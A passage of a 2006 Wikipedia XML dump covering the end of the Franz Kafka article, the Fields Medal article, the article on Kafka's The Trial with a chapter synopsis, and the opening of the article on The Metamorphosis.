Although Kafka learned German as his first language, both parents also spoke [[Czech language|Czech]]. The logo of Hermann's business, which had as many 15 employees, was a [[jackdaw]] (''kavka'' in Czech). (Later, Kafka acquired some knowledge of [[French language]] and culture; one of his favorite authors was [[Flaubert]].) 

On business days, both parents were absent from the home. Julie Kafka had a say in the management of her husband's business and worked in it as many as 12 hours a day. The children were largely reared by a succession of governesses and servants. 

From 1889 to 1893, Kafka attended the ''Deutsche Knabenschule'', the German-language boys elementary school at the ''Fleischmarkt'' (meat market), the street now known as Masná Street in Prague. Subsequently he was admitted to the rigorous classics-oriented state &quot;humanistic&quot; ''gymnasium'' (academic secondary school with eight grade levels, where German was also the language of instruction) at Staroměstské náměstí, within the Kinsky Palace in the Old Town. He completed his [[Matura]] exams in [[1901]]. Admitted to the [[Charles University of Prague|Charles University of Prague]], Kafka first studied chemistry, but switched after a short time to law, which offered a range of career possibilities, pleased his father, and required a longer course of study that gave Kafka time to take classes in German studies and art history.

Kakfa obtained the degree of Doctor of Law in [[1906]] and performed an obligatory year of unpaid service as law clerk for the civil and criminal courts. For nearly a year he worked for Assicurazioni Generali, an aggressive Italian insurance company, then, with the help of a friend, found more congenial employment with the Worker's Accident [[Insurance]] Institute for the Kingdom of Bohemia. He often referred to his job as insurance officer as a &quot;Brotberuf&quot; (German: &quot;Bread-job&quot;) -- a job done just to pay one's bills.

In [[1917]] he began to suffer from [[tuberculosis]], which would require frequent convalescence during which he was supported by his family, most notably his sister Ottla, with whom he had much in common.

[[Image:Kafka monument.jpg|right|thumb|Bronze statue of Franz Kafka in Prague]]
While at school he took an active role in organizing literary and social events, doing much to promote and organize performances for the [[Yiddish theatre]], despite the misgivings of even close friends such as [[Max Brod]], who usually supported him in everything else. Despite his fear of being perceived as both physically and mentally repulsive, he impressed others with his boyish, neat, and austere good looks, a quiet and cool demeanor, obvious intelligence and dry sense of humor.

Kafka struggled fitfully to come to terms with his domineering father. In the early 1920s he developed an intense relationship with Czech journalist and writer [[Milena Jesenská]]. In [[1923]] he briefly moved to [[Berlin]] in the hope of distancing himself from his family's influence to concentrate on his writing. In Berlin he lived with [[Dora Diamant]], a 19-year-old kindergarten teacher from an orthodox Jewish family, who was independent enough to have escaped her past in the ghetto. Dora became his lover, and influenced Kafka's interest in the [[Talmud]].

While it is generally agreed that Kafka suffered from [[clinical depression]] and [[social anxiety]] throughout his entire life, he suffered from [[migraine]]s, insomnia, [[constipation]], boils, and other ailments, all usually brought on by excessive stresses and strains. He attempted to counteract all of this by a regimen of [[Naturopathic Medicine|naturopathic]] treatments, such as a [[Vegetarian cuisine|vegetarian]] diet and the consumption of large quantities of unpasteurized milk (the latter possibly the causal factor of his tuberculosis).

However, Kafka's tuberculosis worsened; he returned to Prague, then went to a [[sanatorium]] near [[Vienna]] for treatment, where he died on [[June 3]], [[1924]], apparently from starvation. (The condition of Kafka's throat made it too painful to eat, and since [[intravenous therapy]] had not been developed, there was no way to feed him (a fate bearing some resemblance to those of Gregor in the ''Metamorphosis'' and the main character of ''A Hunger Artist''). His body was ultimately brought back to Prague where he was interred on [[June 11]], [[1924]], in the New Jewish Cemetery in [[Žižkov|Prague-Žižkov]].
[[Image:Grave of Kafka.JPG|thumb|200px|left| Franz Kafka's grave in Prague-Žižkov]]

Kafka published only a few short stories during his lifetime, a small part of his work, and consequently his writing attracted little attention until after his death. Prior to his death, he instructed his friend and [[literary executor]] [[Max Brod]] to destroy all of his manuscripts. His lover, Dora Diamant, partially executed his wishes. The majority of his last writings in Dora's possession, including up to 20 notebooks and 35 letters, she secretly kept, until they were confiscated by the Gestapo in 1933. An ongoing international search is being conducted for these missing Kafka papers. Brod overrode Kafka's instructions and instead oversaw the publication of most of his work in his possession, which soon began to attract attention and high critical regard. 

All his published works, except several Czech letters to Milena Jesenská, were written in German.

==Critical interpretation==
There have been many critics who have tried to make sense of Kafka's works by interpreting them through certain schools of literary criticism&amp;mdash;as [[modernism|modernist]], [[magical realism|magical realist]], and so on. The apparent hopelessness and the absurdity that seem to permeate his works are considered emblematic of [[existentialism]]. Others have tried to locate [[Marxism|Marxist]] influence in his satirization of bureaucracy in pieces such as ''[[In the Penal Colony]]'', ''[[The Trial]]'', and ''[[The Castle]]'', whereas others point to [[anarchism]] as an inspiration for Kafka's anti-bureaucratic viewpoint. Still others have interpreted his works through the lens of Judaism (because he was Jewish and had an interest in Jewish culture, though he only cultivated it late in life)&amp;mdash;[[Borges]] made a few perceptive remarks in this regard; through [[Freud|Freudianism]] (because of his familial struggles); or as allegories of a metaphysical quest for [[God]] ([[Thomas Mann]] was a proponent of this theory). Themes of alienation and persecution are repeatedly emphasized, and this emphasis&amp;mdash;notably in the work of [[Marthe Robert]]&amp;mdash;partly inspired the counter-criticism of [[Gilles Deleuze]] and [[Felix Guattari]], who argued that there was much more to Kafka than the stereotype of a lonely figure writing out of anguish, and that his work was more deliberate, subversive and yet &quot;joyful&quot; than it appears to be. Biographers have said that it was common for Kafka to read chapters of the books he was working on to his closest friends, and those readings usually concentrated themselves on the constant, but many times ignored, humorous side of his prose. [[Milan Kundera]] refers the essentially surrealist humour of Kafka as a main predecessor of later artists such as [[Federico Fellini]], [[Gabriel García Márquez]], [[Carlos Fuentes]] and [[Salman Rushdie]]. For Márquez it was as he said the reading of Kafka's ''[[The Metamorphosis]]'' that showed him &quot;that it was possible to write in a different way&quot;.

== Kafka in visual media ==
''For a full list of films [http://www.imdb.com/name/nm0434525/ The IMDb filmography]''

* [[Orson Welles]] wrote and directed an adaptation of ''[[The Trial]]'' in [[1962]] starring [[Anthony Perkins]]. Welles considered it to be his best film.
* A film in which [[Jeremy Irons]] stars as the eponymous author was released in 1991.  Directed by [[Steven Soderbergh]], the movie mixes his life and fiction providing a semi-biographical presentation of Kafka's life and works.  The story concerns Kafka investigating the disappearance of one of his work colleagues. The plot takes Kafka through many of the writer's own works, most notably ''[[The Castle]]'' and ''[[The Trial]]''.
* ''Franz Kafka's 'It's a Wonderful Life' '' ([[1993]]) is a short film written and directed by [[Peter Capaldi]] and starring [[Richard E. Grant]] as Kafka. The film blends &quot;[[The Metamorphosis|Metamorphosis]]&quot; with [[Frank Capra]]'s ''[[It's a Wonderful Life]]''.
* Another 1993 film portrayed ''[[The Trial]]'' starring [[Kyle MacLachlan]] as a self-obsessed yuppie version of J.K. with [[Anthony Hopkins]] in a cameo role.
* {{imdb title|id=0093530 |title=Metamorphosis (1987)}}
* {{imdb title|id=0174019 |title=Die Verwandlung (1975)}}
* {{imdb title|id=0074561 |title=Förvandlingen (1976/I)}}
* {{imdb title|id=0328279 |title=Prevrashcheniye (2002)}}
* {{imdb title|id=0411641 |title=Menschenkörper (2004)}} [http://www.menschenkoerper.de]
*''Naked Lunch'' (1991) by [[David Cronenberg]] contains a reference to Kafka. An intravenous injection of insecticide is described as a &quot;Kafka high&quot;.
*''Director's Cut'' (2001) by [[Brendon Small]] is an episode of [[Home Movies (cartoon series)|Home Movies]] where they film a rock opera based on [[The Metamorphosis|Metamorphosis]].

==Online texts==

*[http://www.gutenberg.org/etext/7849 The Trial]
*[http://www.gutenberg.org/etext/5200 Metamorphosis]

==Bibliography==
===Short Stories===
* ''[[Description of a Struggle]]'' (''Beschreibung eines Kampfes'' - [[1904]]-[[1905]])
* ''[[Wedding Preparations in the Country]]'' (''Hochzeitsvorbereitungen auf dem Lande'' - [[1907]]-[[1908]])
* ''[[The Judgment]]'' (''Das Urteil'' - September 22-23, [[1912]])
* ''[[The Penal Colony|In the Penal Colony]]'' (''In der Strafkolonie'' - October [[1914]])
* ''[[The Village Schoolmaster (The Giant Mole)]]'' (''Der Dorfschullehrer'' or ''Der Riesenmaulwurf'' - [[1914]]-[[1915]])
* ''[[Blumfeld, an Elderly Bachelor]]'' (''Blumfeld, ein älterer Junggeselle'' - [[1915]])
* ''[[The Warden of the Tomb]]'' (''Der Gruftwächter'' - [[1916]]-[[1917]]), the only play Kafka wrote
* ''[[A Country Doctor]]'' (''Ein Landarzt'' - [[1917]])
* ''[[The Hunter Gracchus]]'' (''Der Jäger Gracchus'' - [[1917]])
* ''[[The Great Wall of China]]'' (''Beim Bau der Chinesischen Mauer'' - [[1917]])
* ''[[A Report to an Academy]]'' (''Ein Bericht für eine Akademie'' - [[1917]])
* ''[[The Refusal]]'' (''Die Abweisung'' - [[1920]])
* ''[[A Hunger Artist]]'' (''Ein Hungerkünstler'' - [[1922]])
* ''[[Investigations of a Dog]]'' (''Forschungen eines Hundes'' - [[1922]])
* ''[[A Little Woman]]'' (''Eine kleine Frau'' - [[1923]])
* ''[[The Burrow (story)|The Burrow]]'' (''Der Bau'' - [[1923]]-[[1924]])
* ''[[Josephine the Singer, or The Mouse Folk]]'' (''Josephine, die Sängerin, oder Das Volk der Mäuse'' - [[1924]])

Many collections of the stories have been published, and they include:
*Kafka, Franz (ed. Nahum N. Glatzer). ''The Complete Stories.'' New York: Schocken Books, 1971.

===Novellas===
* ''[[The Metamorphosis]]'' (''Die Verwandlung'' - November-December [[1915]])

===Novels===
* ''[[The Trial]]'' (''Der Prozeß'' - [[1925]]) (includes short story [http://www.pith.net/pithfiles/b4law.htm Before the law])
* ''[[The Castle]]'' (''Das Schloß'' - [[1926]])
* ''[[Amerika (novel)|America]]'' (''Amerika'' - [[1927]])

===Diaries and notebooks===
*''Diaries of Franz Kafka''
*''The Blue Octavo Notebooks''

===Letters===
*''Letters to Felice''
*''Letters to Ottla''
*''Letters to Milena''
*''Franz Kafka: Letters to Family, Friends, and Editors''

===On Kafka===
*Brod, Max. ''Franz Kafka: A Biography.'' New York: Da Capo Press, 1995.
*Brod, Max. ''The biography of Franz Kafka'', tr. from the German by G. Humphreys Roberts. London: Secker &amp; Warburg, 1947.
* [[Pietro Citati|Citati, Pietro]], ''Kafka'', 1987.
* [[Gilles Deleuze|Deleuze, Gilles]] &amp; [[Félix Guattari]]. ''Kafka: Toward a Minor Literature (Theory and History of Literature, Vol 30).'' Minneapolis, University of Minnesota, 1986.
*Greenberg, Martin, ''The terror of art; Kafka and modern literature''. New York, Basic Books, 1968.
*Hayman, Ronald. ''K, a Biography of Kafka''., London: Phoenix Press, 2001.
*Murray, Nicholas. ''Kafka.'' New Haven: Yale, 2004.
*Pawel, Ernst. ''The Nightmare of Reason: A Life of Franz Kafka.'' New York : Vintage Books, 1985.
*Thiher, Allen (ed.). ''Franz Kafka: A Study of the Short Fiction'' (Twayne's Studies in Short Fiction, No. 12).

==See also==
* [[Asteroid]] [[3412 Kafka]], named after the author.
* [[Kafkaesque]]
* [[Max Brod]]
* [[List of Austrians|List of famous Austrians]]
* [[List of Austrian writers]]

==External links==
{{wikiquote}}
{{wikisource author}}
{{commons|Franz Kafka}}
* [http://www.kafka.org/ The Kafka Project] Project initiated in 1998 with the purpose of publishing online all Kafka texts in German, in the form of the manuscripts
* [http://www.themodernword.com/kafka/ Das Schloss] The Modern Word's Kafka site, with an in-depth biography and various links to reviews, articles, and other Kafka info
* [http://www.levity.com/corduroy/kafka.htm Franz Kafka (1883-1924)]
* [http://dnausers.d-n-a.net/dnetrgoA/critlist.htm Kafka Critics] &lt;!-- this is about Kafka but quite low on actual content --&gt;
&lt;!-- * [http://www.k-eins.de/ Essay on Kafka] I found almost no text on this site but perhaps someone can provide better link into it --&gt;
* [http://endeavor.med.nyu.edu/lit-med/lit-med-db/webdocs/webauthors/kafka91-au-.html Kafka at the Literature, Arts, and Medicine Database] including brief, insightful summaries and essays of several of his stories
*[http://victorian.fortunecity.com/vermeer/287/nabokov_s_metamorphosis.htm Vladimir Nabokov's lecture on &quot;The Metamorphosis&quot;]
* [http://uk.imdb.com/title/tt0102181/ Kafka in Film] Internet Movie Database listing of Soderbergh's film, Kafka.
* [http://www.wpunj.edu/~newpol/issue23/lowy23.htm Franz Kafka and Libertarian Socialism] A look at Kafka and anarchism.
* [http://www.metameat.net/kafka/index.php?en The Diaries of Franz Kafka serialised as a weblog]
* {{gutenberg author| id=Franz+Kafka | name=Franz Kafka}}
* [http://www.abc.net.au/gameon/kafkamesto/ Kafkamesto] Online game inspired by the life and work of Franz Kafka.

[[Category:1883 births|Kafka, Franz]]
[[Category:1924 deaths|Kafka, Franz]]

[[Category:Czech writers|Kafka, Franz]]
[[Category:German language writers|Kafka, Franz]]
[[Category:Austrian writers|Kafka, Franz]]
[[Category:Short story writers|Kafka, Franz]]
[[Category:Novelists|Kafka, Franz]]
[[Category:People with social anxiety disorder|Kafka, Franz]]

[[ast:Franz Kafka]]
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[[zh:弗兰兹·卡夫卡]]</text>
    </revision>
  </page>
  <page>
    <title>Fields Medal</title>
    <id>10859</id>
    <revision>
      <id>39797912</id>
      <timestamp>2006-02-15T23:02:02Z</timestamp>
      <contributor>
        <username>Bwithh</username>
        <id>472456</id>
      </contributor>
      <comment>/* Laureates */ Removing false info. the 2006 Fields Medals will not be awarded until the summer!</comment>
      <text xml:space="preserve">The ''' Fields Medal''' is a prize awarded to up to four [[mathematician]]s (not over forty years of age) at each [[International Congress of Mathematicians|International Congress]] of [[International Mathematical Union]] (therefore once every four years), since [[1936]] and regularly since [[1950]] at the initiative of the Canadian mathematician [[John Charles Fields]]. The purpose is to give recognition and support to young mathematical researchers having already made important contributions. 

The Fields Medal is often described as the &quot;[[Nobel Prize]] of mathematics&quot;. The comparison is not very accurate, in particular because the age limit is applied strictly. Fields Medals are awarded for a body of work, rather than for a particular result, though there is clearly consensus that some individual theorems can and should be recognised in this way. (That is not to say that some awards from the past have not been in some ways contentious or controversial&amp;mdash;they have.) 

Since the institution of the [[Wolf Prize]]s in [[1978]], there has been a high-profile &quot;lifetime achievement&quot; award in mathematics; this has to some extent redressed perceived imbalances in the weight given to different kinds of merit and the movements of intellectual fashion across mathematics as a whole. 

In 2003, the first [[Abel Prize]] was awarded - this award, established by the Norwegian government, is specifically intended as a &quot;mathematics Nobel&quot;.

== Laureates ==

* [[2002]]: [[Laurent Lafforgue]] (France), [[Vladimir Voevodsky]] (Russia/US)
* [[1998]]: [[Richard Ewen Borcherds]] (GB), [[William Timothy Gowers]] (GB), [[Maxim Kontsevich]] (Russia), [[Curtis T. McMullen]] (US), and a silver plate was given to [[Andrew Wiles]] (GB)
* [[1994]]: [[Efim Isakovich Zelmanov]] (Russia), [[Pierre-Louis Lions]] (France), [[Jean Bourgain]] (Belgium), [[Jean-Christophe Yoccoz]] (France)
* [[1990]]: [[Vladimir Drinfeld]] (USSR), [[Vaughan Frederick Randal Jones]] (New Zealand), [[Shigefumi Mori]] (Japan), [[Edward Witten]] (US)
* [[1986]]: [[Simon Donaldson]] (GB), [[Gerd Faltings]] (West Germany), [[Michael Freedman]] (US)
* [[1982]]: [[Alain Connes]] (France) , [[William Thurston]] (US), [[Shing-Tung Yau]] (China)
* [[1978]]: [[Pierre Deligne]] (Belgium), [[Charles Fefferman]] (US), [[Grigory Margulis]] (USSR), [[Daniel Quillen]] (US)
* [[1974]]: [[Enrico Bombieri]] (Italy), [[David Mumford]] (US)
* [[1970]]: [[Alan Baker]] (GB), [[Heisuke Hironaka]] (Japan), [[Sergei Petrovich Novikov]] (USSR), [[John Griggs Thompson]] (GB)
* [[1966]]: [[Michael Francis Atiyah]] (GB), [[Paul Cohen|Paul Joseph Cohen]] (US), [[Alexander Grothendieck]] (France), [[Stephen Smale]] (US)
* [[1962]]: [[Lars Hörmander]] (Sweden), [[John Milnor]] (US)
* [[1958]]: [[Klaus Roth]] (GB), [[Rene Thom]] (France)
* [[1954]]: [[Kunihiko Kodaira]] (Japan), [[Jean-Pierre Serre]] (France)
* [[1950]]: [[Laurent Schwartz]] (France), [[Atle Selberg]] (Norway)
* [[1936]]: [[Lars Ahlfors]] (Finland), [[Jesse Douglas]] (US)

== The Fields Medal in popular culture ==
In the 1997 film [[Good Will Hunting]], fictional [[MIT]] professor Gerald Lambeau (played by [[Stellan Skarsgård]]) is described as having been awarded a [[Fields Medal]] for his work in [[combinatorics|combinatorial mathematics]].

== See also ==

* [[Abel Prize]]
* [[Nevanlinna Prize]]
* [[Schock Prize]]
* [[Wolf Prize in Mathematics]]
* [[List of medals]]

== External links ==

* [http://www.mathunion.org/medals/ Official site]

[[Category:Prizes]]
[[Category:Mathematics awards]]

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  <page>
    <title>The Trial</title>
    <id>10861</id>
    <revision>
      <id>42052325</id>
      <timestamp>2006-03-03T13:48:28Z</timestamp>
      <contributor>
        <ip>144.32.128.119</ip>
      </contributor>
      <comment>/* Relations between ''The Trial'' and ''Crime and Punishment'' */</comment>
      <text xml:space="preserve">[[Image:the_trial.jpg|thumb|200px|The Trial book cover]]
'''''The Trial''''' (German '''''Der Prozess''''') is a [[surrealism|surreal]] novel by [[Franz Kafka]] about a character named ''[[Joseph K.]]'', who awakens one morning and, for reasons never revealed, is arrested and subjected to the rigours of the judicial process for an unspecified crime.

Like Kafka's other novels, ''The Trial'' was left unfinished at his death, and was never intended to be published.  Its manuscript was rescued by his friend [[Max Brod]].  It was first published in [[German language|German]] in [[1925]] as ''Der Prozess''.

''[[The Trial (1962 film)|The Trial]]'' has been filmed by the director [[Orson Welles]], with [[Anthony Perkins]] (as Josef K.) and [[Romy Schneider]].  A more recent [[remake]] featured [[Kyle MacLachlan]] in the same role. In [[1999]] it was adapted for comics by the [[Italian people|Italian]] artist [[Guido Crepax]].

== Plot Synopsis by Chapter ==

{{spoiler}}

=== The Arrest - Conversation with Frau Grubach then Fräulein Bürstner ===
On the morning of his thirtieth birthday, a junior bank manager, Josef K., who lives in lodgings, is unexpectedly arrested by two unidentified agents for an unspecified crime.  The agents do not name the authority for which they are acting.  He is not taken away, but left at home to await instructions from the Interrogation Commission.  That evening K misses his regular visit to a prostitute, Elsa.

K's landlady, Frau Grubach tries to console Josef but unintentionally offends him by speculating that perhaps the arrest was related to an illicit relationship with Fräulein Bürstner, K's neighbor. Josef visits Fräulein to discuss his plight, but ends up kissing  her - belatedly fulfilling the landlady's speculation. This is an early indication that Josef is no longer in control of his fate.

=== First Interrogation ===
K is instructed to appear at a local court, but the time of the trial is not specified.  This causes him to waste his time waiting to be called.  When he is finally called, he is told, confusingly, that he is late.  As the interrogation begins, he is asked an ill-informed question, which he uses as the basis for his attack on the preceding events and the general competence of the court.  As he leaves, the Examining Magistrate tells K that &quot;...today you have flung away with your own hand all the advantages which an interrogation invariably confers on an accused man.&quot;

=== In the Empty Interrogation Chamber - The Student - The Offices ===
Josef K tries to visit the Examining Magistrate, but finds only the Law-Court Attendant's wife.  Looking at the Magistrate's books, he  finds that they are not law books, but pornography.  The woman tries to seduce him.  As Josef resolves to succumb to the woman as an act of defiance against the Court, a law student appears and, after an argument with Josef, carries the woman off in his arms.

Josef later spots the Attendant, who complains about his wife's wantonness and offers Josef a tour of the court offices.  There are many other defendants waiting hopelessly for information about their cases.  Josef struggles to cope with the &quot;dull and heavy...hardly breathable&quot; air, and almost faints.  To his shame, he has to be carried out of the court by two officials.

=== Fräulein Bürstner's Friend ===
Josef returns home to find Fräulein Montag, a lodger from another room, moving in with Fräulein Bürstner.  He suspects that this is to prevent him from pursuing his affair with the latter woman.  Yet another lodger, Captain Lanz, appears to be in league with Montag.
=== The Whipper ===
Later, in a store room at his own bank, Josef K discovers the two agents who arrested him being whipped by a superior.  This surreal event appears to have been staged for his viewing, either to simply frighten him, or to demonstrate the seriousness in which the court views incompetence and corruption. The next day he returns to the store room and is shocked to find everything as he left it, including the Whipper and the two agents.

=== K.'s Uncle - Leni ===
Josef K is visited by his influential uncle, who by coincidence is a friend of the Clerk of the Court.  The uncle is, or appears to be, distressed by Josef's predicament and is at first sympathetic, but becomes concerned that K is underestimating the seriousness of the case.  The uncle introduces Josef K to an Advocate, who is attended by Leni, a nurse.  K visits Leni, whilst his uncle is talking with the Advocate and the Chief Clerk of the Court, much to his uncle's anger, and to the detriment of his case.

=== Advocate - Manufacturer - Painter ===
K visits the advocate and finds him to be a capricious and unhelpful character.  K returns to his bank but finds that his colleagues are trying to undermine him.

Josef K is advised by one of his bank clients to visit Titorelli, a painter, for advice.  Titorelli has no official connections, yet seems to have a deep understanding of the process.  He explains: &quot;You see, everything belongs to the Court.&quot;  He sets out what K's options are, but the consequences of all of them are unpleasant.  The laborious requirements of these options, and the limited outlook that they offer, lead the reader to lose hope for Josef K.

=== The Commercial Traveller - Dismissal of the Advocate ===
Josef K decides to take control of his own destiny and visits his advocate with the intention of dismissing him.  At the advocate's office he meets a downtrodden individual, Block, a client who offers K some insight from a client's perspective.  Block's case has continued for five years, yet he appears to have been virtually enslaved by his dependence on the advocate's unpredictable advice. This experience further poisons K's opinion of his advocate, and K is bemused as to why his advocate would think that seeing such a client, in such a state, could change his mind.

=== In The Cathedral ===
K has to show an important client from Italy around the Cathedral.  The client doesn't show, but just as K is leaving the Cathedral, the priest calls out K's name, although K has never known the priest.  The priest works for the court, and tells K a fable, also published separately as Before the Law that is meant to explain his situation, but instead causes confusion, and implies that K's fate is hopeless.  The gravity of the priest's words prepares the reader for an unpleasant ending.

===The End===
On the last day of Josef K's thirtieth year, two men arrive to execute him. He offers little resistance, suggesting that he has realised this as being inevitable for some time.  They lead him to a quarry where he is expected to kill himself, but he cannot. The two men then execute him.  His last words describe his own death: &quot;Like a dog!&quot;.

==Evaluation==
''The Trial'' is a chilling story that maintains a constant, relentless atmosphere of unease, right up to the brutal ending. Superficially the subject matter is political; an illustration of a truly twisted brand of law enforcement.  However, one of the strengths of the novel is in its description of the effect of these circumstances on the life and mind of Josef K. It presents the absurdity of human nature, of drudging along without direction, and without result. It can also be considered allegorically in a number of  frameworks, for example, emotional. If it were published today, it might be described as a &quot;[[paranoid thriller]]&quot;, but it is unusually uncompromising and depressing by modern standards.
&lt;p&gt;When analyzing ''The Trial'', it is important to note that the end of the novel, the death scene, was the first part written by Kafka.  This is what in part gives Josef K.'s trial and ultimate conviction a sense of inevitability, greatly adding to the paranoia of the text.  Josef K. is never told what he is on trial for, and he maintains his innocence throughout.  What becomes clear to the reader is that Josef K. is on trial precisely for his innocence; for to be human is to be guilty.  By admitting his basic guilt as a human being, perhaps Josef K. could have freed himself from the proceedings.  Then again, the trial against K. was set up because he was incapable of admitting his guilt, and, by extension, his humanity.
&lt;p&gt;Another way to evaluate ''The Trial'' is to consider what [[Jean-Paul Sartre]] has to say about it in his book ''[[Anti-Semite and Jew]]: An Exploration of the Etiology of Hate''. As the title suggests, the book relates the way Jews receive a world marred with [[anti-Semitism]]. That Jewish life in such a world, Sartre argues, is similar to the way Joseph K experienced it, and the way Kafka may have experienced it as well. According to Sartre:&lt;/p&gt;
&lt;p&gt;&quot;This is perhaps one of the meanings of ''The Trial'' by the Jew, Kafka. Like the hero of that novel, the Jew is engaged in a long trial. He does not know his judges, scarcely even his lawyers; he does not know what he is charged with, yet he knows that he is considered guilty; judgment is continually put off -- for a week, two weeks -- he takes advantage of these delays to improve his position in a thousand ways, but every precaution taken at random pushes him a little deeper into guilt. His external situation may appear brilliant, but the interminable trial invisibly wastes him away, and it happens sometimes, as in the novel, that men seize him, carry him off on the pretense that he has lost his case, and murder him in some vague area of the suburbs.&quot; [88, Schocken Books].&lt;/p&gt;

==Comparisons with other works==
{{spoiler}}
The novel with the most obvious resemblance to ''The Trial'' is [[George Orwell]]'s ''[[Nineteen Eighty-Four]]'' ([[1949]]).  Both tales describe the struggle of an ordinary man against a faceless [[bureaucracy]]. Each tale also concludes with, in one way or another, the protagonist accepting (or simply feeling resigned to) his fate.

==Relations between ''The Trial'' and ''Crime and Punishment''==

In [[1983]] Guillermo Sánchez Trujillo, professor of UNAULA (&quot;Universidad Autónoma Latinoamericana&quot; of [[Medellín]], [[Colombia]]), decided to retake the project he had in his youth to find out &quot;where did Kafka get his stories&quot;. He dedicated twenty years of his life to the investigations, and finally in [[2002]] he published the final results in ''Crimen y castigo de Franz Kafka, anatomía de El proceso'' (&quot;Crime and Punishment by Franz Kafka, anatomy of The Trial&quot;), edited by UNAULA.

In his investigation, Sánchez discovered that Kafka had used ''[[Crime and Punishment]]'' and other works by [[Fyodor Dostoevsky]], as [[palimpsest]] to write his works, including ''The Trial''. By comparing word-to-word ''Crime and Punishment'' and ''The Trial'', Sanchez discovered that Kafka used the first three chapters of the second part of Crime and Punishment (in the order 3, 2, 1), to write and organize ''The Trial''. With this, Sánchez also discovered the order of the chapters of the novel, which has been a mystery due to the cryptic way in which Kafka stored the chapters. Kafka bequeathed his works to his friend [[Max Brod]]. After Kafka died, Brod started to organize and edit Kafka's works to publish them, but with ''The Trial'' Brod couldn't decipher Kafka's system, so he organized the chapters in an intuitive and arbitrary way.

The new order found in the study reestablishes the logic of the plot and fits on it the chapters that were relegated to the appendix by Brod and the editors. But the study also finds that the work ''[[A Dream]]'', published as an independent short story, was an essential chapter of the novel.

The investigation also confirmed the [[autobiography|autobiographic]] contents that Kafka put in the novel, and the identity of the real persons and the historical events that inspired some of the characters and events of the novel.

A critic edition of the novel with the new order was published in [[2005]] by UNAULA, containing an introduction detailing the most important points of the investigation and its results and also, side notes explaining the creative process of the author and the use of the palimpsest of Dostoevsky's works.

The following is the new order of the chapters:
# The Arrest
# Conversation with Frau Grubach then Fräulein Bürstner
# B.’s Friend
# Initial Inquiry
# In the Empty Courtroom - The Student - The Offices
# The Flogger
# To Elsa
# Public Prosecutor
# The Uncle - Leni
# Lawyer- Manufacturer - Painter
# In The Cathedral
# Block, the Merchant - Dismissal of the Lawyer
# Struggle with the Vice President 
# The Building
# A Dream
# Journey to His Mother 
# The End

More info see: {{es icon}} [http://www.kafka.org/index.php?id=184,198,0,0,1,0]

==Published editions==
*[[Penguin books|Penguin]] Twentieth-Century Classics, ISBN 0-14-018113-X

==External links==
* Freely available at [http://www.digbib.org/Franz_Kafka_1883/Der_Prozess DigBib.Org] (German version, text, pdf, html)

*[http://tesla.liketelevision.com/liketelevision/tuner.php?channel=240&amp;format=movie&amp;theme=guide ''The Trial'' movie at liketelevision.com]
*[http://www.imdb.com/title/tt0108388/ ''The Trial''] 1993 Version at [[IMDB]]
*[http://www.imdb.com/title/tt0057427/ ''The Trial''] 1962 Welles Version at [[IMDB]]

*{{es icon}} [http://lau.unaula.edu.co/ElProcesoGS/WebForm1.aspx Critic Edition in Spanish in UNAULA]

*{{es icon}} [http://www.elprocesodekafka.com Critic Edition in Spanish]

[[Category:1925 books|Trial, The]]
[[Category:Dystopian novels|Trial, The]]
[[Category:Unfinished books|Trial, The]]

[[cs:Proces (román)]]
[[da:Processen]]
[[de:Der Process]]
[[es:El proceso]]
[[fr:Le Procès]]
[[it:Il processo (romanzo)]]
[[nl:Het Proces]]
[[pl:Proces (powieść)]]
[[pt:O Processo]]
[[sr:Процес (роман)]]
[[sv:Processen]]</text>
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  </page>
  <page>
    <title>The Metamorphosis</title>
    <id>10862</id>
    <revision>
      <id>41694446</id>
      <timestamp>2006-03-01T02:45:49Z</timestamp>
      <contributor>
        <ip>216.151.100.61</ip>
      </contributor>
      <text xml:space="preserve">[[image:FKV.jpg|thumb|The Metamorphosis - First edition 1915&lt;br&gt;Illustration: Ottomar Starke]]

'''''The Metamorphosis''''' (in [[German language|German]], '''''Die Verwandlung''''') is a [[novella]] by [[Franz Kafka]], first published in [[1915]], and arguably the most famous of his works along with the longer works ''[[The Trial]]'' and ''[[The Castle]]''. The story begins with a traveling salesman, [[Gregor Samsa]], waking to find himself transformed into a giant insect-like creature (see [[#Lost in translation|Lost in translation]], below).  It is widely regarded as a highly symbolic tale with various [[#Interpretations|interpretations]]. 

==The storyline==

{{spoiler}}

The story is sometimes comic &amp;ndash; for example, near the start, Gregor's main concern is that, despite what has happened, he must nevertheless get to work on time.

Gregor is unable to speak in his insect form, and never successfully communicates with his family at all after his physical appearance is revealed to them. However, he seems to retain his thinking faculties, which is unknown to his family. 

Curiously, his condition does not arouse a sense of surprise or incredulity in the eyes of his family, who merely despise it as an indication of impending burden.  However, most of the story revolves around his interactions with his family, with whom he lives, and their shock, denial, and repulsion whenever he reveals his physical condition.  Horrified by his appearance, they take to shutting Gregor into his room, but do try to care for him by providing him food and water. The sister takes charge of caring for Gregor, initially working hard to make him comfortable. Nevertheless, they seem to want as little to do with him as possible.  The sister and mother shrink back whenever he reveals himself, and Gregor's father pelts him with apples when he emerges from his room one day.  One of the apples becomes imbedded in his back, causing an infection.

Time passes as, confined to his room, Gregor's only activities are looking out of his window, and crawling up the walls and over the ceiling.  Financial hardship befalls the family, and the sister's caretaking deteriorates.  Devoid of human contact, one day Gregor emerges to the sound of his sister's violin in the hopes to get his much-loved sister to join him in his room and play her violin for him.  But her rejection of him is total, when she says to the family:

:''We must try to get rid of it. We've done everything humanly possible to take care of it and to put up with it, no one can blame us in the least.''

The sister then determines with finality that the insect is no longer Gregor, since Gregor would have left them out of love and taken their burden away.  Gregor returns to his room, lies down, and dies from neglect and infection caused by the festering apple his father threw at him months before.

The point of view shifts as, upon discovery of his corpse, the family feel an enormous burden has been lifted from them, and start planning for the future again. Fantastically, the family suddenly discovers that they aren't doing bad at all, both socially and financially, and the brief process of forgetting Gregor and shutting him from their lives is quickly accomplished.

==Interpretation==

As with all of Kafka's works, ''The Metamorphosis'' is open to a wide range of interpretations; in fact, [[Stanley Corngold]]'s book, ''The Commentator's Despair'', lists over 130 interpretations. Most obvious are themes relating to society's treatment of those who are different. Other themes include the loneliness of being cut off and the desperate and unrealistic hopes that such isolation brings.

Some also feel the book deals with the absurdity of human existence, leading some literary critics to associate it with [[existentialism]]. &lt;!-- weasel term?  feel free to remove preceding sentence moved down from intro. - AySz88, 01:53, 3 October 2005 (UTC) --&gt;  It is also possible to apply [[Freud]]ian and other forms of [[literary criticism]] to the book.

==Lost in translation==
The [[opening line]] of the book is famous in English:

:''As Gregor Samsa woke one morning from uneasy dreams he found himself transformed in his bed into a monstrous insect.''

